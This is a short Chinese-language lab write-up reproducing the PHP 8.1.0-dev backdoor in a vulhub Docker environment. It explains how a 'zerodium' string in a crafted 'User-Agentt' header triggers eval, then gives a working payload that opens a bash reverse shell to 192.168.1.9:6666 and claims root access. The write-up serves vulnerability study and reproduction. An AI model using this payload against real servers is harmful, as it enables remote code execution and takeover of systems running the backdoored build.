PHP 8.1.0-dev 开发版本后门漏洞复现

漏洞背景

PHP（Hypertext Preprocessor）即“超文本预处理器”，是在服务器端执行的脚本语言，尤其适用于Web开发并可嵌入HTML中。PHP语法利用了C、Java和Perl，该语言的主要目标是让web开发人员快速编写动态网页。前段时间，监测到PHP官方发布通告称，有人入侵了PHP编程语言的官方Git服务器，并提交了包含后门文件的更新包。

漏洞原理

该事件是黑客利用具有git权限的账户提交了一个恶意commit，给PHP源码的zlib扩展增加了一个后门。如果该行由PHP驱动的网站运行，则将允许未经授权的访问者执行他们选择的代码。当发现请求特殊的HTTP头部中包含字符串zerodium时，则用eval执行User-Agent第8位字符后内容。利用该后门，攻击者可以执行任意命令，对于任何使用了存在后门PHP的服务器来说都有巨大的风险和威胁。

漏洞类型

远程代码执行

严重等级

高危

环境搭建

cd vulhub-master/php/8.1-backdoor
docker-compose up -d

漏洞复现

访问页面

使用Burpsuite抓取数据包

添加请求头

User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/192.168.1.9/6666 0>&1'");

开启监听

发送数据包，反弹shell，获得root权限